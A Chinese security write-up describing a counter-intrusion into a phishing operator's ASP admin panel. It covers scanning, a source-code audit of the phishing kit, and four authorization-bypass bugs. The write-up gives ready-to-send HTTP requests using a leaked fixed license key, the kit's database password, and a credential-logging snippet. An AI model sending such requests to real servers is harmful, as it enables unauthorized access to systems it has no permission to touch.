这次的案件源自于很久以前外部HC单位对某司的钓鱼攻击。文章中的源码是ASP版本的钓鱼框架紫X,但是ASP源码中存在越权访问漏洞所以可以才得以打到攻击者的后台。在同段IP的扫描中根据中间件的版权信息可以获取同类型的钓鱼管理后台。详细内容在后续章节逐一介绍攻破思路和方法。
回到顶部一、事件背景
企业邮箱收到了仿造Outlook Web App界面的钓鱼邮件。应该是想要钓鱼我们公司员工的邮箱账户。攻击者Outlook钓鱼页面:
二、反制过程
渗透测试是红队人员对目标单位的攻击,反制是目标单位的蓝队人员对红队人员的反向渗透测试。所以把这个反红队过程也叫做反制。反制和渗透测试一个正常网站没有差别。除了对目标IP的信息收集、漏洞挖掘外增加了同类系统扩展扫描、受控范围定位、人头威胁情报的搜索。通用行业的渗透讲究找出漏洞防患于未然,反制更多是对攻击者的一系列资产搜集,然后挖出受控者和攻击者的身份信息为主。
信息收集
面对单个IP的信息收集,常用的方法是敏感文件、端口扫描、弱口令测试、旁站域名。这里有一个技巧,主要的C2找不到后台的时候,扫描端口再做目录扫描是可以有几率得到其他后台信息的。攻击者一样会做应用和管理后台分离访问。图中的2301端口就是可疑端口,下图是端口扫描的结果:
弱口令漏洞挖掘
除了SSH和RDP暴力破解外,这些服务性质的端口是可以尝试的。扫描出来的21服务类端口FTP做口令破解,可以看到FTP有匿名访问,但登录之后访问不到WEB文件。
祭出dirsearch对后台做目录扫描, 对80端口扫描不出敏感文件的时候,换到不同端口再尝试扫描网页文件。这次切换的是2301端口敏感文件扫描得到后台页面:http://xxx.xxx.xxx.xxx:2301/admin.asp。其中比较有用的信息,MANAGEQQ 管理系统,紫X設計工作室(WWW.CKZZ.NET)
扫描出来的后台已经暴露出钓鱼程序名称、版本年限、端口、源码里面也有特别的字符,在百度网盘搜索引擎搜索能得到很多结果。 花时间在找源码的过程比较长,复现文章时网盘搜索已经搜索不出来了,仅存的几个ASP源码已经取消分享。以下是我在百度网盘搜索引擎里搜索得到的紫X钓鱼源码架构截图:
搭建起来版本号是20150502的,跟目标源码长得不太一样。但是测试的几个文件都是跟目标站一样的。后台样式截图如下:
ASP代码审计跟审计其他脚本语言区别不大,我觉得小语种代码审计虽然没有编辑器可以很方便调试输出结果,但是利用输出语句和条件判断、终止语句能跑起来就可以实现对小语种代码审计,因为调试器起到的作用就是断点和输出变量的作用而已,熟悉原理一样可以实现调试和分析。
ASP调试和执行SQL语句的方法说明:
输出语句
Response.Write ""&username&"' ------ '"&password&""
数据库操作
set rs=server.CreateObject("adodb.recordset") ‘建立一个数据集
set rs=server.CreateObject("adodb.recordset") ‘建立一个数据集的实例
rs.open ...... ‘打开一个记录集
rs.addnew ‘添加记录到数据表末端
rs.update ‘更新数据表记录
这款ASP钓鱼源码比较简单,没有上传、命令执行类漏洞可以直接利用,XSS之前已经黑盒子试过了没有反馈,感觉应该是做了过滤。况且已经扫到后台地址,拿到源码后先看看有没有机会可以越权进后台页面拿到受控者的数据。
从配置文件开始找起,在WEB根目录里的Web.box文件89行,可以看到访问2301端口是指向管理后台目录\wwwroot_Manager_##_#@#。
# 设置NetBox.HttpServer对象
Set http3 = CreateObject("NetBox.HttpServer")
# 监听2301端口
If http3.Create("", "2301") = 0 Then
# 添加访问目录
Set www = http3.AddHost("", "\wwwroot\_Manager_##_#@#")
www.EnableScript = true
www.AddDefault "ckzz_ec.asp"
http3.Start
end if
搜索紫X設計工作室(WWW.CKZZ.NET) 在wwwroot_manager_##_#@#\index.asp找到了后台登录验证页面。自己下载一个netbox加载web.box就可以脱离紫X已经封装好的源码了, 因为配置参数都是默认有的。后台的界面比较少,没找到可以不登录就直接访问的页面。遂放弃~
SQL注入
源码很多地方都是没有过滤就调用外部传参的变量。管理员表Manager,字段名ZY_UserName、ZY_PassWord。密码加密方式有点变态,SQL注入出来密文稍微复杂点的明文密码肯定是解不开了。
数据库表名搜索到的查询语句部分传参到数据库中查询,但是SQL注入读取出来的密码很难解开的。原理是先用sha256加密了一次除去密码的空格,然后用base64Encode编码后再sha256加密一次,具体源码部分如下:
# 数据库查询部分
sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'"
# 密码加密方式
password=sha256(base64Encode(sha256(replace(trim(request("password")),"'",""))))
登录部分不会解开密文成明文,而是把用户登录的明文密码用同样加密方式把明文密码加密后对比存在数据库里的密文密码。当时钓鱼站点存在的时候由于Access数据库的SQL注入不知道WEB目录的绝对路径,没法导出webshell。也就直接放弃继续搜索SQL注入的想法。登录界面认证部分代码wwwroot_manager_##_#@#\index.asp 23~52行:
'提交驗證開始
if Request.form.count>0 then
ip=request.ServerVariables("REMOTE_ADDR")
session("fileget")=Server.MapPath(".")
‘ 接收用户名
username=replace(trim(request("username")),"'","")
‘ 加密密码对比数据库里的密文
password=sha256(base64Encode(sha256(replace(trim(request("password")),"'",""))))
Session("passwordup")=base64Encode(sha256(base64Encode(mid(sha256(request.form("passwordup")),16,32)+mid(Reg("ckzz_gen_key"),8,16))))
CheckCode=replace(trim(request("CheckCode")),"'","")
'判斷管理帳戶和密碼不能為空
If username="" or password="" then
Call Box("管理帳戶和登入密碼不能填空!")
End if
'判斷驗證碼
If cstr(trim(session("getcode"))) <> cstr(trim(Request("code"))) then
Call boxurl("验证码错误,返回重新输入!","?")
End If
'驗證開始
set Rs=Server.CreateObject("adodb.recordset")
sql="Select * from Manager where ZY_UserName='" & username &"' and ZY_PassWord='"& PassWord &"'"
rs.open sql,conn,1,1
if rs.eof and rs.bof then
Call Infozt("登入帳戶或密碼錯誤!")
Call Box("管理帳戶或登入密碼不正確,請重新輸入!")
else
'帳戶被禁用或遠程關閉
if rs("kick")=true then
Call Infozt("登入帳戶已禁用!")
Call Box("管理帳戶被禁用或於主站關閉登錄權限!")
end if
Call Infozt("登入密碼驗證完成,登錄成功!")
越权修改密码漏洞挖掘
当已经确认SQL注入搞下来密码也破解不开密文,而且进了后台也不一定拿SHELL后。就把找越权访问漏洞、SQL注入漏洞、XSS漏洞思路变换为找越权修改漏洞,因为反制未必需要webshell才能做到追踪攻击者。我按照rs.update更新数据表记录找了4处越权修改管理员密码漏洞。每一个都比上一个验证玄幻。Haha~
越权1-越权修改密码
第1处越权修改密码漏洞主要是源自于紫X是商业钓鱼框架,所以需要授权码才能使用,但是网上的破解版本似乎泄露的授权码都是一样的。所以造成了这个漏洞。
搜索request()函数找调用参数的时候发现/ckzz_ec.asp文件的传参可以控制。接收的key参数跟数据库里的ckzz_gen_key字段匹配就可以修改管理员密码、重启服务。
# 接收action参数
If Request("action")="manager" Then
dim username,password1,password2,rss
Set Reg = Conn.Execute("Select * from ckzz_reg")
username=request("username")
password1=request("password")
password2=request("tpassword")
# 接收key参数
key=request("key")
if password1<>password2 then
response.write "passerror"
response.end
End if
# key参数与数据库表里的ckzz_gen_key对比,如果错误就结束后续操作
if key<>Reg("ckzz_gen_key") then
response.write "keyerror"
response.end
set reg=nothing
End If
# 最后修改管理员密码
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from Manager where zy_username='"&username&"'"
rs.open sql,conn,1,3
rs("zy_password")=sha256(base64Encode(sha256(password1)))
rs.update
那么从代码看ckzz_gen_key是一个很重要的值,找数据库看看表结构就可以清楚作用了。直接查看MDB数据库发现是有密码加密的。那么只好翻数据库配置文件,然后看看正常逻辑下是怎么调用的数据库。
<%
Dim Conn,Connstr
# &Netbox("DB")& 应该就是数据库的相对路径
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;data source="& Server.MapPath("../../Ckzz_DataBase/"&Netbox("DB")&"")&";persist security info=false;jet OLEDB:Database Password="&Netbox("DBP")&""
Set Conn=Server.CreateObject("adodb.connection")
Conn.Open Connstr
%>
NetBox("DBP")应该就是数据库的路径位置。然后全局搜索发现NetBox("DBP")是调用的web.box里11~14行。Zy.dll里的CKZZ_DB()函数:
Shell.RegisterServer "ZY.DLL"
Shell.RegisterServer "Jmail.dll"
Set ZYQQ = Netbox.CreateObject("ZY.QQ")
path =NetBox.ApplicationPath
NetBox.ConfigFile = path & "ManageQQ.ini"
NetBox("DB")=ZYQQ.CKZZ_DB(1)
NetBox("DBP")=ZYQQ.CKZZ_DB(2)
ZY.DLL查壳是Microsoft Visual Basic 6.0 DLL写的DLL,VB写的二进制文件可以反编译看代码。这里可以看到反编译后的代码数据库调用路径是是###www.ckzz.net###.accdb。数据库的加密密码是:www.ckzz.net.acc2003
打开数据库得到Ckzz_gen_key字段的值是94ebb60031c67eb0b42774de007dad3b,这段就是钓鱼程序的授权验证码。
好的,拿出这个泄露后滥用的授权码,构造HTTP数据包在本地测试一下。
GET /ckzz_ec.asp?action=manager&username=admin&password=admin&tpassword=admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1
Host: 192.168.229.128:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: LRFZKRHDQNCTVVIMERCO=CKSRDIZMQNDMCSWBOWRWYNLJPTLUJUTFOCUYJOZC; OTOUPMOKFXIWFSKOEQID=MZGVGBDHXVMUHLEZWMCZXMZWEDNBJXXQGTUYSTZB
Connection: close
密码修改成功效果,显示出editok的时候,就感觉已经修改成功了。:
为了验证数据库里的密码是不是已经被修改了。我使用程序后台界面自带的sha12base642sha1的加密函数把明文密码加密后的密文跟数据库里的密文对比了一下,为了验证我写了一段记录后台账户密码的ASP代码。往登录界面一插就能用,然后用正确密码登录之后截取明文密码加密后的密文,后面越权漏洞改管理员密文的时候还可以用到这几段密文。
dim fs,f,sw
Set fs = Server.CreateObject("Scripting.FileSystemObject")
Const saveFilePath = "c:\test.txt"
if fs.FileExists(saveFilePath) then
set f=fs.OpenTextFile(saveFilePath,8,true)
f.WriteLine("'"&username&"' ------ '"&password&"'")
f.Close
else
Set f = fs.CreateTextFile(saveFilePath, True)
f.WriteLine("'"&username&"' ------ '"&password&"'")
f.Close
end if
set f=Nothing
set fs=nothing
对应的密文:
'admin' ------ '70a647030002098aea97e7fcfa35fdcbf5cd5890f3de45af1df654f0995eb816'
'admin1' ------ '171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d'
'123456' ------ '39dc0e09acb949e9369083ca020d044e6e1016505cc0505e6bf19bbbf8835cb7'
真实环境测试不需要二级密码也可以修改管理员密码,可能是跟钓鱼页面源码用的攻击者都使用同一个授权key有关系。二级密码验证部分的代码被注释了。这个故事告诉我,白嫖虽然香,但也容易出问题~。
原后台虽然有个登录框会向远程服务器地址发HTTP请求获取二级密码做验证。但是我从ZY.DLL提取到的二级密码获取网址已经挂了。所以这里的测试不需要二级密码验证也可以正常登录。
越权2-越权修改用户名
第2处越权是发现可以通过授权key修改管理员密码之后,顺着这个线索又发现通过授权key可以做很多操作。看文件名,这套钓鱼源码框架似乎还可以通过API文件操作修改账户信息。比如Ckzz_manager_api.asp 5行~38行。如果修改密码失败,还可以用key值修改用户名。也就意味着就算管理员改了admin默认名账户,我依旧把改掉管理员的账户成admin,再改管理员密码。
# 修改用户名操作,先接收要修改的管理员名字
if Request.QueryString("action")="edit_username" then
username = trim(request("username"))
key = trim(request("key"))
if username="" then
response.write "error"
response.end()
end if
reg_sql="select * from ckzz_reg"
set reg_rs=Server.CreateObject("ADODB.Recordset")
reg_rs.open reg_sql,conn,1,1
# key参数与数据库表里的ckzz_gen_key对比,如果错误就结束后续操作
if reg_rs("ckzz_gen_key")<>key then
response.write "error"
response.end()
end if
# 修改管理员账户
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from Manager where id=1"
rs.open sql,conn,1,3
rs("zy_username")=username
rs.update
rs.close
# 增加一条数据库记录
set rs = nothing
set reg_rs = nothing
set rss=Server.CreateObject("adodb.recordset")
sql="select * from log"
rss.open sql,conn,2,3
rss.addnew
rss("user_name")="WWW.CKZZ.NET"
rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
rss("times")=now()
rss("zhuangtai")="程序管理主站修改後臺帳戶,新帳戶為:"&username
rss.update
response.write "ok"
response.end()
end if
对比数据库确实成功修改了用户名,为了修改用户名构造的HTTP数据包如下:
GET /ckzz_manager_api.asp?action=edit_username&username=admin&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1
Host: localhost:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
越权3-越权修改密码
前面的代码已经可以看出通过API文件操作可以修改账户Ckzz_manager_api.asp。继续分析Ckzz_manager_api.asp 39行~72行,发现还是可以用key值修改密码。
# 接收要修改的密码
if Request.QueryString("action")="edit_password" then
password = trim(request("password"))
key = trim(request("key"))
if password="" then
response.write "error"
response.end()
end if
reg_sql="select * from ckzz_reg"
set reg_rs=Server.CreateObject("ADODB.Recordset")
reg_rs.open reg_sql,conn,1,1
# key参数与数据库表里的ckzz_gen_key对比,如果错误就结束后续操作
if reg_rs("ckzz_gen_key")<>key then
response.write "error"
response.end()
end if
# 修改ID=1的记录里的密码
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from manager where id=1"
rs.open sql,conn,1,3
rs("zy_password")=sha256(base64Encode(sha256(password)))
rs.update
rs.close
set rs = nothing
set reg_rs = nothing
set rss=Server.CreateObject("adodb.recordset")
sql="select * from log"
rss.open sql,conn,2,3
rss.addnew
rss("user_name")="WWW.CKZZ.NET"
rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
rss("times")=now()
rss("zhuangtai")="程序管理主站修改後臺密碼,新密碼為:"&password
rss.update
response.write "ok"
response.end()
end if
构造数据包,用admin1的密文是
171da850864661785aadecc3c725ef378f514cc823cedbdd427ce7fd4522923d。对比数据库里的密文值,又修改成功了:
GET /ckzz_manager_api.asp?action=edit_password&password=admin1&key=94ebb60031c67eb0b42774de007dad3b HTTP/1.1
Host: localhost:2301
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
越权4-弱条件修改用户名&密码
第4处越权修改用户名和密码的漏洞。只要判断是不是有cookie值而不需要登录成功也可以执行修改账户密码的操作。
仔细分析ckzz_manager.asp这个文件,。10行~40行代码。ID为空就越权修改用户表第一条记录的用户密码。ID不为空还能越权修改用户名,具体代码如下:
# 接收参数为edit_manager
if Request.QueryString("action")="edit_manager" then
id = trim(request.form("masterid"))
password = trim(request.form("password"))
repassword = trim(request.form("repassword"))
# 如果repassword跟password参数相等,并且不为空就通过验证
if password=repassword and repassword<>"" then
set rs = Server.CreateObject("ADODB.RecordSet")
sql = "select * from manager where id=1"
rs.open sql,conn,1,3
# 等于空就修改密码
if id="" then
rs("zy_password")=sha256(base64Encode(sha256(password)))
rs.update
rs.close
set rs = nothing
set rss=server.CreateObject("adodb.recordset")
sql="select * from log"
rss.open sql,conn,2,3
rss.addnew
# 赋值session("admin")
rss("user_name")=session("admin")
rss("user_ip")=request.ServerVariables("REMOTE_ADDR")
rss("times")=now()
rss("zhuangtai")="修改後臺密碼,新密碼:"&password
rss.update
# 不等于空就修改用户名和密码
end if
if id<>"" then
rs("zy_username")=id
rs("password")=sha256(base64Encode(sha256(password)))
rs.update
rs.close
set rs = nothing
构造数据包:
POST /ckzz_manager.asp?action=edit_manager HTTP/1.1
Host: localhost:2301
Content-Length: 41
Cache-Control: max-age=0
Origin: http://localhost:2301
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:2301/index.asp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: GGOQPPUJGYTZLLPQEVMT=FTTGSOBVCLRDXIIQDKCTHFNCTPAUBWNVQGWEUSID; ts_uid=9255500360; LQAZPFPBDVYRXSJYFBEM=GFGVTJKZPZBGXXZGGLRZKJGYXRXWWFJTMGHNRCJR; GFVJPNNMAPEHZFPDTCDN=SKALNLNSTBIIOSPSFRENTXXFTKBMJPQDJBGXMTEU; ZZZUNOAQTQJRYRVYWWME=DDCJYWLVVADMRTDDDJZJCLOJCKPITYYAABBMRTES; QCUMJQUFSFTTAOOFXLYS=ABSXGDZGTYUFCFSSEUVZJQHIOGWJLAAMYPUWVSYF; QRPHUYXBKFAJADLUAPMZ=INJNKFQTDNRYVBLMJEPUEQRBLGFDSXYZRGZVYWRW; cs=Robot/%3FXTWJBTDNNQVRCQHHCOFLZMOGDLRGEKXVPLTUAIHC; ZBDUWICVXKRMTPZCQEHZ=SPISPZEULDQPJHRMCIBLPVISLZKWHABMYOANDKYK; DHDYCBOINVIOMKIPOKSG=FEFZNNVESNTMDLTZGNDDXDPHFWNBMTHUCTSZKOPG
Connection: close
masterid=&password=admin&repassword=admin
触发这个漏洞要经过/include/Check.asp文件2行6行的验证。可是这个条件其实是在访问登录后台index.asp页面的时候有过赋值session("fileget")=Server.MapPath(".")。这样的话只要把index.asp的验证cookie替换到我构造的数据包里就能实现任意修改用户名和密码了,不再受之前那几个越权改密码还需要授权key的限制。只要访问下管理员后台首页得到会话值,/include/Check.asp文件2行6行的验证代码如下:
if session("fileget")<>Server.MapPath(".") then
Session.Abandon()
Response.Write("<script>alert('目錄認證錯誤,請返回重新登錄!');top.location='index.asp';</script>")
Response.end
rs.close
三、梳理攻击者信息
进了后台后先记录下后台登录IP:1xx.xxx.xxx.xxx、xxx.xxx.xxx.2xx,信封XX封
资产扫描
通过端口、中间件信息扫描获取同类型钓鱼网站的范围。
发件邮箱判断受控
翻发件邮箱里的IP:XXX.XXX.XX.XX反查绑定的域名发现是一个公司的网站,应该是正常的。而直接访问是通达OA?看起来很像是正常单位被搞了作为跳板。
再后续反查钓鱼网站域名的访问量、Whois得到注册人QQ就不展开了。
四、总结
总结其实是很重要的,我把所有尝试失败的过程都写进去,因为顺畅的过程记录未必是最好的。只是这样的方法更适合我自己。这次反制成功的线路复盘是这样的。
- 1、WEB 80端口扫描不出来敏感信息,扫描到不同端口再尝试扫描网页文件。得到攻击者后台
- 2、通过后台的「紫X設計工作室(WWW.CKZZ.NET)」 的字符串,在百度网盘找到源码
- 3、审计常规SQL注入漏洞、上传漏洞发现没有可以利用的地方,转向越权漏洞,发现可以修改管理员密码可以进去后台
- 4、钓鱼源码里面有一个授权KEY是固定的。可以用来修改管理员密码
- 5、不知道管理员用户名的情况下,可以用授权KEY修改管理员用户名
- 6、API接口文件也可以调用授权KEY修改管理员密码
- 7、后台改密码文件只验证有没有cookie值存在作为判断修改密码条件,而不判断cookie是不是成功登录状态
- 8、通过上线信封来判断受害者身份和数量、IP地址
- 9、通过管理员登录后台IP地区判断攻击者的IP
五、最后
紫X钓鱼服务器是放在阿里云的,很早之前被端过。貌似有人提到过这套系统有其他漏洞,但不愿意说方法。我感觉技术迟早会过时,没有什么好保密的。复盘自己的知识点是为了与同样爱好者共同进步和提升。我原帖写在吐司论坛:https://www.t00ls.net/thread-58941-1-1.html,
钓鱼源码和资产收集工具也丢了进去。